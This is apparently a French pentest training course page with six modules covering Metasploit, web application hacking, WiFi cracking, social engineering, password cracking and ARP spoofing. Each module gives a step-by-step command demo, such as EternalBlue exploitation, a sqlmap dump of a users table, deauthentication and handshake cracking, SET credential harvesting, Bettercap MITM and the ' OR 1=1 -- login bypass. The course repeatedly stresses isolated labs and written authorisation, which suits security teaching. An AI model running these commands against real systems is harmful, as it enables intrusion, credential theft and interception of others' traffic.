Exploitation de vulnérabilités, post-exploitation, et attaques ciblées
💀15 leçons
Metasploit Framework
Maîtrisez le framework d'exploitation le plus puissant au monde
Pourquoi c'est important : En audit, Metasploit révèle si une vulnérabilité théorique devient un accès réel : un module bien réglé transforme un service non patché en session Meterpreter documentée pour le rapport.
L'analogie qui aide : Pensez au trousseau du serrurier et à sa planque : le module est la clé taillée pour une serrure précise, le payload est ce que l'on installe une fois dedans, et le listener est la planque qui reçoit l'appel.
Démonstration pas à pas : Déroulez dans votre lab isolé : search eternalblue pour trouver le module, use exploit/windows/smb/ms17_010_eternalblue pour le charger, show options pour lire les paramètres requis, set RHOSTS 192.168.1.10 pour la cible et set LHOST 192.168.1.5 pour votre retour, puis exploit. Une fois la session ouverte, sysinfo et getuid confirment la machine et l'utilisateur compromis.
Pièges classiques : Pièges fréquents : inverser LHOST et RHOST, oublier set PAYLOAD, ou croire que show options valide la vulnérabilité. Un exploit lancé hors lab isolé et sans autorisation écrite relève de l'art. 323-1.
À vous de jouer : À quoi sert show options dans Metasploit ?Voir la réponse
Cette commande affiche les paramètres du module sélectionné, indique lesquels sont requis, et montre les valeurs actuelles de RHOSTS, LHOST, LPORT et du payload avant exploitation.
🕸️14 leçons
Piratage d'Applications Web
OWASP Top 10, injection SQL, XSS, CSRF, et exploitation d'applications web
Pourquoi c'est important : En audit web, l'OWASP Top 10 révèle les failles qui exposent bases de données et sessions : une injection SQL ou un contrôle d'accès cassé suffit souvent à lire des données sensibles.
L'analogie qui aide : Pensez à une maison dont les fenêtres ferment mal : l'intrus ne casse pas le mur, il glisse une lame entre le battant et le cadre. L'injection fait de même avec un champ mal filtré.
OWASP Top 10SQL InjectionXSS & CSRFBurp SuiteSQLMap
01 OWASP Top 10 — Vue d'ensemble
02 Burp Suite — configuration proxy
03 Burp Suite — Repeater & Intruder
04 Injection SQL — théorie
05 SQLMap — automatisation
06 XSS réfléchi et stocké
07 CSRF et attaques de session
08 Inclusion de fichiers (LFI/RFI)
09 Command injection
10 Authentication bypass
11 OWASP ZAP — scanning automatisé
12 WordPress : WPScan
13 Attaques WebSocket et API
14 Projet : Pentest d'une app complète
Démonstration pas à pas : Déroulez avec sqlmap contre votre lab : sqlmap -u "http://cible/?id=1" --dbs où -u désigne l'URL et --dbs liste les bases. Lisez le nom des bases, puis ajoutez -D mydb --tables pour lister les tables et -T users --dump pour extraire. Chaque étape se vérifie dans la sortie avant de poursuivre.
Pièges classiques : Piège classique : prendre un faux positif de scanner pour une preuve, ou rejouer une injection sur une production. Testez uniquement votre lab isolé avec autorisation écrite, et confirmez chaque finding à la main dans Burp Repeater.
À vous de jouer : Que fait le payload ' OR 1=1 -- ?Voir la réponse
Il ferme la chaîne SQL avec l'apostrophe, force une condition toujours vraie avec OR 1=1, et commente la fin de la requête avec -- pour contourner un login vulnérable.
📡12 leçons
Attaques Réseau Sans Fil
Cassage de mots de passe WiFi, attaques WPA/WPA2, et rogue access points
Pourquoi c'est important : En audit WiFi, la capture du handshake révèle si la clé pré-partagée résiste à un dictionnaire : un réseau d'entreprise avec mot de passe faible tombe en quelques minutes face à aircrack-ng.
L'analogie qui aide : Pensez à écouter une sonnette depuis la rue : vous ne rentrez pas, mais vous notez qui sonne et quand la porte s'ouvre. Le mode monitor fait de même avec les trames radio.
Aircrack-ngWPA/WPA2Evil TwinHandshakeDeauth
01 Mode monitor et sniffing WiFi
02 Découverte de réseaux (airodump-ng)
03 Capture du handshake WPA2
04 Injection de paquets (aireplay-ng)
05 Brute force WPA2 avec aircrack-ng
06 Attaques Evil Twin
07 Wifite — automatisation complète
08 Kismet — détection de réseaux
09 Attaques PMKID
10 Karma attack et MitM WiFi
11 Conteneurs WiFi et Karma
12 Projet : Audit complet WiFi
Démonstration pas à pas : Déroulez en lab : sudo airmon-ng start wlan0 passe la carte en monitor, sudo airodump-ng wlan0mon liste BSSID, canal et chiffrement, puis sudo airodump-ng wlan0mon -c 6 --bssid XX -w capture fige l'écoute sur le canal 6. Dans un second terminal, sudo aireplay-ng -0 2 -a XX wlan0mon envoie deux trames de déauthentification pour forcer un handshake, que sudo aircrack-ng -w rockyou.txt capture-01.cap tente de casser.
Pièges classiques : Pièges : rester en mode managed au lieu de monitor, attaquer le réseau du voisin, ou oublier que la déauthentification déconnecte des usagers réels. N'auditez que votre propre borne ou un lab WiFi dédié, avec autorisation écrite, car l'art. 323-1 s'applique aussi aux interceptions.
À vous de jouer : À quoi sert la déauthentification dans une capture WPA2 ?Voir la réponse
Elle force un client à se reconnecter pour capturer le handshake en quatre temps dans le fichier .cap, seule pièce nécessaire pour lancer ensuite aircrack-ng ou hashcat en mode 22000.
🎭10 leçons
Ingénierie Sociale
Phishing, pretexting, SET framework, et manipulation psychologique
Pourquoi c'est important : En audit, l'ingénierie sociale révèle que le maillon faible est souvent humain : un seul clic sur un lien de spear phishing offre parfois plus qu'une semaine de scans techniques.
L'analogie qui aide : Pensez au faux livreur poli qui retient la porte de l'immeuble : personne ne vérifie son badge parce que son scénario est crédible et pressant.
SET ToolkitPhishingPretextingCloning
01 Fondamentaux de l'ingénierie sociale
02 SET — Social Engineering Toolkit
03 Spear phishing avec SET
04 Clonage de sites web
05 Payloads USB et BadUSB
06 Vishing et smishing
07 OSINT pour le ciblage
08 GoPhish — plateforme de phishing
09 Contre-mesures et sensibilisation
10 Campagne de phishing simulée
Démonstration pas à pas : Déroulez en lab avec SET : sudo setoolkit, choix 1 pour les attaques sociales, puis 2 pour les vecteurs web et 3 pour le Credential Harvester. Saisissez l'URL clonée de votre lab, récupérez l'adresse du listener, et envoyez le lien uniquement à vos comptes de test. Dans GoPhish, créez le profil d'envoi SMTP, la page de capture, le groupe d'utilisateurs de test, puis la campagne pour suivre ouvertures et clics.
Pièges classiques : Piège grave : lancer une campagne réelle sans consentement écrit de la direction. Le phishing non autorisé relève du délit et brise la confiance. Simulez uniquement en lab isolé, avec périmètre signé et débrief de sensibilisation prévu.
À vous de jouer : Quelle est la différence entre phishing et spear phishing ?Voir la réponse
Le phishing vise large avec un message générique, tandis que le spear phishing cible une personne précise avec des détails OSINT crédibles, d'où un taux de clic bien plus élevé.
🔑10 leçons
Attaques sur Mots de Passe
Cassage de hash, brute force, dictionary attacks, et outils de brute force
Pourquoi c'est important : En audit, les hashes récupérés révèlent la politique réelle des mots de passe : si rockyou.txt casse la moitié des comptes, la politique affichée ne vaut rien.
L'analogie qui aide : Pensez à un trousseau trouvé dans la rue : au lieu d'essayer chaque clé au hasard, vous triez par marque puis par usure. John the Ripper et Hashcat trient de même avec wordlists et règles.
John the RipperHashcatHydraWordlistsRainbow Tables
01 Types de hash et algorithmes
02 John the Ripper — bases
03 John — formats et rule files
04 Hashcat — GPU cracking
05 Modes d'attaque Hashcat
06 Hydra — attaques en ligne
07 Medusa et Ncrack
08 Génération de wordlists (Crunch, CeWL)
09 Attaques par dictionnaire avancées
10 Projet : audit complet de mots de passe
Démonstration pas à pas : Déroulez en lab : john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt où --wordlist impose le dictionnaire. Côté GPU, hashcat -m 0 -a 0 hash.txt rockyou.txt signifie mode 0 pour MD5 et mode d'attaque 0 pour dictionnaire. Lisez la sortie : un hash craqué s'affiche avec son clair, sinon augmentez avec --rules ou un masque ?d?d?d.
Pièges classiques : Pièges : attaquer en ligne avec Hydra trop vite et se faire bannir, choisir le mauvais mode -m dans Hashcat, ou oublier de décompresser rockyou.txt avec gunzip. Ne craquez que des hashes de votre lab isolé avec autorisation écrite.
À vous de jouer : Quel mode Hashcat pour du NTLM Windows ?Voir la réponse
Le mode -m 1000 correspond au NTLM. La commande devient hashcat -m 1000 -a 0 ntlm.txt rockyou.txt pour une attaque par dictionnaire.
🦈10 leçons
Sniffing & Spoofing
Interception réseau, ARP spoofing, DNS spoofing, et analyse de trafic
Pourquoi c'est important : En audit interne, le sniffing révèle les mots de passe et cookies qui transitent encore en clair : un seul ARP spoofing bien placé expose tout un segment.
L'analogie qui aide : Pensez à une écoute téléphonique sur un standard : en vous plaçant entre les deux correspondants, vous entendez chaque phrase sans qu'ils s'en doutent.
WiresharkBettercapARP SpoofingMITMtcpdump
01 Wireshark — captures et filtres
02 Analyse de protocoles avec Wireshark
03 tcpdump — sniffing en ligne de commande
04 ARP spoofing avec arpspoof
05 Bettercap — MITM framework
06 DNS spoofing
07 SSL stripping
08 Injection de trafic
09 Responder — LLMNR/NBT-NS poisoning
10 Projet : MITM complet
Démonstration pas à pas : Déroulez avec Bettercap en lab : bettercap -iface eth0 pour démarrer, net.probe on pour découvrir les hôtes, set arp.spoof.targets 192.168.1.10 pour désigner la victime, puis arp.spoof on et net.sniff on pour intercepter et afficher. Vérifiez d'abord echo 1 > /proc/sys/net/ipv4/ip_forward pour router les paquets, sinon la victime perd le réseau.
Pièges classiques : Pièges : oublier d'activer l'IP forwarding et couper le réseau, ou sniffer hors autorisation. L'interception sans consentement est un délit visé par l'art. 323-1. Restez sur votre lab isolé et stoppez avec arp.spoof off.
À vous de jouer : Pourquoi activer ip_forward avant un MITM ?Voir la réponse
Sans forwarding, la machine attaquante ne relaie plus les paquets entre victime et passerelle, ce qui coupe l'accès réseau et trahit l'attaque. Avec 1, le trafic circule et reste observable.